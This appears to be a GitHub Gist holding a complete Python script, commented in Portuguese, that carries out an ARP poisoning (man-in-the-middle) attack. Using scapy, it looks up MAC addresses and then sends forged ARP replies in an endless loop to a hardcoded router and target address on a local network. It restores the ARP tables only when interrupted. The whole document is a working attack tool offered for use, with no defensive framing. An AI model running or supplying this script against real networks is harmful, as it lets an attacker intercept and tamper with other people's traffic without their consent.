Last active
September 29, 2021 00:37
-
-
Save ReddyyZ/e8f3ccbe5441e3e3068e573e5578072c to your computer and use it in GitHub Desktop.
Script for ARP Poisoning attacks
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from scapy.all import * | |
def get_mac_address(ip): | |
arp_broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=ip) # Cria o pacote falso de ARP Request | |
ans, uns = srp(arp_broadcast, timeout=2, verbose=0) # Envia o pacote e espera uma resposta | |
return ans[0][1][1].hwsrc | |
def poison_arp(dest_ip, dest_mac, src_ip): | |
arp_spoof = ARP(op=2, psrc=src_ip, pdst=dest_ip, hwdst=dest_mac) # Cria o pacote falso | |
send(arp_spoof, verbose=0) # Envia o pacote | |
def restore_arp(dest_ip, dest_mac, src_ip, src_mac): | |
pkt = ARP(op=2, hwsrc=src_mac, hwdst=dest_mac, psrc=src_ip, pdst=dest_ip) # Cria o pacote para restaurar o arp | |
send(pkt, verbose=0) # Envia o pacote | |
def main(gateway, target): | |
target_mac = get_mac_address(target) # Captura o mac do alvo | |
gateway_mac = get_mac_address(gateway) # Captura o mac do roteador | |
print("Target MAC: "+target_mac) | |
print("Gateway MAC: "+gateway_mac) | |
try: | |
while True: | |
print("Envenenando o ARP") | |
poison_arp(gateway, gateway_mac, target) # Envia a requisição ao roteador | |
poison_arp(target, target_mac, gateway) # Envia a resposta falsa ao alvo | |
except KeyboardInterrupt: | |
print("Restaurando ARP") | |
restore_arp(target, target_mac, gateway, gateway_mac) # Restaura o ARP | |
restore_arp(gateway, gateway_mac, target, target_mac) # Restaura o ARP | |
if __name__ == "__main__": | |
gateway = "192.168.1.1" | |
target = "192.168.1.106" | |
print("Iniciando o ataque") | |
main(gateway,target) # Inicia o ataque |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment